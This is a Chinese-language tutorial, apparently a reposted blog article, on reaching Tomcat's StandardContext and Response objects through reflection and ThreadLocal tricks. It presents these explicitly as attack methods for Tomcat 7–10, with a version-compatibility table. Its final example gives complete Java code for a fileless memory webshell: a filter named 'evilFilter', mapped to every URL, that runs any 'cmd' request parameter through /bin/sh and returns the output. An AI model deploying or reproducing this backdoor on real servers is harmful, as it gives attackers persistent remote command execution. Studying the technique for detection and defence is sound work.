Tomcat下java原生环境获取StandardContext的办法
字数 1314 2025-08-29 08:30:24
Tomcat环境下获取StandardContext及Response回显方法详解
1. Tomcat中三个Context的理解
1.1 ServletContext
- Servlet规范中规定的接口
- 规定了WEB容器Context的基本功能:
- 获取路径
- 获取参数
- 获取当前filter
- 获取当前servlet等
1.2 ApplicationContext
- Tomcat中对ServletContext接口的实现
- 使用了门面模式,实际套了一层ApplicationContextFacade
- 实现了ServletContext规范定义的方法:
- addServlet
- addFilter等
1.3 StandardContext
- Tomcat中真正起作用的Context
- 负责与Tomcat底层交互
- ApplicationContext更像是对StandardContext的封装
2. JSP环境下获取StandardContext的方法
方法1:通过RequestFacade获取
// 获取ApplicationContextFacade
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) request.getSession().getServletContext();
// 通过反射获取StandardContext
Field field = applicationContextFacade.getClass().getDeclaredField("context");
field.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) field.get(applicationContextFacade);
field = applicationContext.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
方法2:通过Request的mappingData获取
// 获取Request对象
Field field = request.getClass().getDeclaredField("request");
field.setAccessible(true);
Request req = (Request) field.get(request);
// 从mappingData中获取StandardContext
StandardContext standardContext = req.getMappingData().context;
3. Java原生环境下获取StandardContext的方法
方法1:通过WebappClassLoaderBase获取
// 获取当前线程的上下文类加载器
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// 获取StandardContext
StandardContext standardContext = webappClassLoaderBase.getResources().getContext();
注意:
- 仅适用于Tomcat 8/9
- 在8.5.78+版本中getResources()被标记为@Deprecated
- 在10.x版本中该方法被移除
方法2:通过ThreadLocal获取(kingkk方法)
// 1. 反射修改ApplicationDispatcher.WRAP_SAME_OBJECT为true
Class<?> applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher");
Field wrapSameObjectField = applicationDispatcher.getDeclaredField("WRAP_SAME_OBJECT");
wrapSameObjectField.setAccessible(true);
boolean originWrapSameObjectValue = wrapSameObjectField.getBoolean(null);
wrapSameObjectField.setBoolean(null, true);
// 2. 初始化lastServicedRequest和lastServicedResponse
Class<?> applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
Field lastServicedRequestField = applicationFilterChain.getDeclaredField("lastServicedRequest");
lastServicedRequestField.setAccessible(true);
ThreadLocal<?> threadLocalReq = (ThreadLocal<?>) lastServicedRequestField.get(null);
Field lastServicedResponseField = applicationFilterChain.getDeclaredField("lastServicedResponse");
lastServicedResponseField.setAccessible(true);
ThreadLocal<?> threadLocalRes = (ThreadLocal<?>) lastServicedResponseField.get(null);
// 3. 获取RequestFacade
RequestFacade requestFacade = (RequestFacade) threadLocalReq.get();
限制:
- 只适用于Tomcat <10, JDK <17
- 在Shiro环境下无法使用
- 需要访问两次指定servlet才能成功
4. Tomcat直接写Response的方法
方法1:半通用方法(通过已有Request/Response)
// 获取Response对象后直接写入
response.getWriter().write("Hello World");
方法2:Tomcat 8/9/10通用方法(Litch1方法)
// 1. 获取StandardService
StandardContext standardContext = ...; // 通过前述方法获取
StandardService standardService = (StandardService) standardContext.getParent();
// 2. 获取Connector和Http11NioProtocol
Connector[] connectors = standardService.findConnectors();
Http11NioProtocol protocol = (Http11NioProtocol) connectors[0].getProtocolHandler();
// 3. 获取ConnectionHandler
ConnectionHandler handler = protocol.getHandler();
// 4. 获取GlobalRequestProcessor和RequestInfo
Field globalField = handler.getClass().getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(handler);
RequestInfo[] processors = global.getProcessors();
for (RequestInfo processor : processors) {
// 5. 获取Request对象
Field reqField = processor.getClass().getDeclaredField("req");
reqField.setAccessible(true);
Request req = (Request) reqField.get(processor);
// 6. 获取Response并写入
Response res = req.getResponse();
res.getWriter().write("Hello World");
}
方法3:Tomcat 7/8/9通用方法(李三方法)
// 1. 获取Registry
Registry registry = Registry.getRegistry(null, null);
// 2. 查找RequestProcessor
Object[] processors = (Object[]) registry.find(new ObjectName("Tomcat:type=GlobalRequestProcessor,*"));
for (Object processor : processors) {
// 3. 获取RequestInfo
Field requestInfoField = processor.getClass().getDeclaredField("requestInfo");
requestInfoField.setAccessible(true);
RequestInfo requestInfo = (RequestInfo) requestInfoField.get(processor);
// 4. 获取Request对象
Field reqField = requestInfo.getClass().getDeclaredField("req");
reqField.setAccessible(true);
Request req = (Request) reqField.get(requestInfo);
// 5. 获取Response并写入
Response res = req.getResponse();
res.getWriter().write("Hello World");
}
5. 方法对比总结
| 攻击方式 | 适用版本 | Shiro兼容性 |
|---|---|---|
| 取lastServicedRequest | Tomcat 7/8/9 | 不兼容 |
| 从ConnectionHandler取global | Tomcat 8/9/10 | 兼容 |
| 直接从Registry读取 | Tomcat 7/8/9 | 兼容 |
6. 实际应用示例
6.1 通过ThreadLocal获取Request并写入内存马
// 1. 获取RequestFacade(使用前述方法2)
RequestFacade requestFacade = ...;
// 2. 获取StandardContext
Field field = requestFacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestFacade);
StandardContext standardContext = request.getContext();
// 3. 创建恶意Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
String[] cmd = {"/bin/sh", "-c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {}
};
// 4. 创建FilterDef和FilterMap
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("evilFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMapBefore(filterMap);
7. 注意事项
- 版本兼容性:不同Tomcat版本实现细节可能不同,需要针对性调整
- JDK限制:JDK 17+限制了final字段的反射修改
- Shiro环境:部分方法在Shiro环境下不可用
- 线程安全:多线程环境下需要考虑线程安全问题
- 防御措施:现代WAF/RASP可能检测此类操作